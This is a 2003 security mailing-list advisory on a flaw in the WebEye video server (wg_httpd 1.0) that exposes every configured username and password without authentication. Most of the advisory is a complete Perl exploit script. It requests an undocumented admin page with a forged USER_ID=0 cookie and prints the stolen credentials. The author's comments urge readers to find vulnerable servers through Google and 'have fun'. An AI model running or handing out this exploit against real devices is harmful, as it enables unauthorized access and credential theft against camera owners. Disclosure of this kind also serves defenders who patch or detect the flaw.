[NEWS] WebEye User Disclosure Vulnerability (Exploit)

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To: list@securiteam.com
Date: 8 Dec 2003 10:21:32 +0200

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  WebEye User Disclosure Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

 
<http://www.webgateinc.com/wg_htdocs/english/products/products_webeye_pro.html> WebEye "provides a quick and easy operation in accessing WebEye families (web cameras and web servers) that generates live images". A vulnerability in the product allows an attacker to gather a list of usernames and passwords configured in the server without needing any special privileges.

DETAILS

Vulnerable systems:
 * wg_httpd version 1.0 (based Boa version 0.92q)

Exploit:
#!/usr/bin/perl

####################################################################
# Author: datapath
# E-mail: datapath@softhome.net
# Date: Dec 2003
# 44c545672ac14e9e0f968b3affcd0740

# WHAT IS THIS?
# This is an exploit to retrieve all username and passwords from a
# webeye video server.

# REQUIREMENTS
# It requires some perl libraries. If you dont have them already
# installed, search cpan.org.

# HOW DOES IT WORKS?
# Well, its very simple, because the server provides a mechanism (not
# documented) to retrieve all passwords! You can read the code below,
# its short and simple.

# If you think its fun, but dont know any webeye video server, just make a

# search in Google. You will find a lot of them! Have fun!
###########################################################################

use LWP::UserAgent;
use HTTP::Cookies;

$host=shift;
$port=shift;

if ($host eq "") {
  print "Usage: webeye-xp.pl <host name> [port]\n";
  exit;
}
if ($port eq "")
{
 $port = "80";
}

my $browser = LWP::UserAgent->new();

my $resp =
$browser->get("http://$host\:$port/admin/wg_user-info.ml","Cookie","USER_ID=0; path=/;");

# print "resp: $resp\n";

$t = $resp->content;

# print "t: $t\n";

$i = index($t,"<tr");
substr($t,0,$i+1,"");

while ($i!=-1) {
  $i = index($t,"<tr");
  substr($t,0,$i+1,"");
  $i = index($t,"value=");
  substr($t,0,$i+7,"");
  $j = index($t,"\"");
  $user = substr($t,0,$j);
  if ($user =~ /Apply/) { print "\nHave fun!\n"; exit; }
  print "user: ".$user;
  $i = index($t,"value=");
  substr($t,0,$i+7,"");
  $j = index($t,"\"");
  print "\tpass: ".substr($t,0,$j)."\n";
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:datapath@softhome.net>
datapath.

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